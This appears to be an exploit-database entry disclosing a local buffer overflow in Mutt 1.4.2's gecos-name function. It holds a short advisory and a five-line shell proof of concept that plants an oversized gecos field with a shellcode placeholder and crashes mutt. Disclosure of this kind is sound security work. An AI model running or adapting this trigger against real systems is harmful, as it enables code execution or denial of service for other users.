Mutt 1.4.2 - Mutt_Gecos_Name Function Local Buffer Overflow

source: https://www.securityfocus.com/bid/24192/info

Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.

An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.

# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped)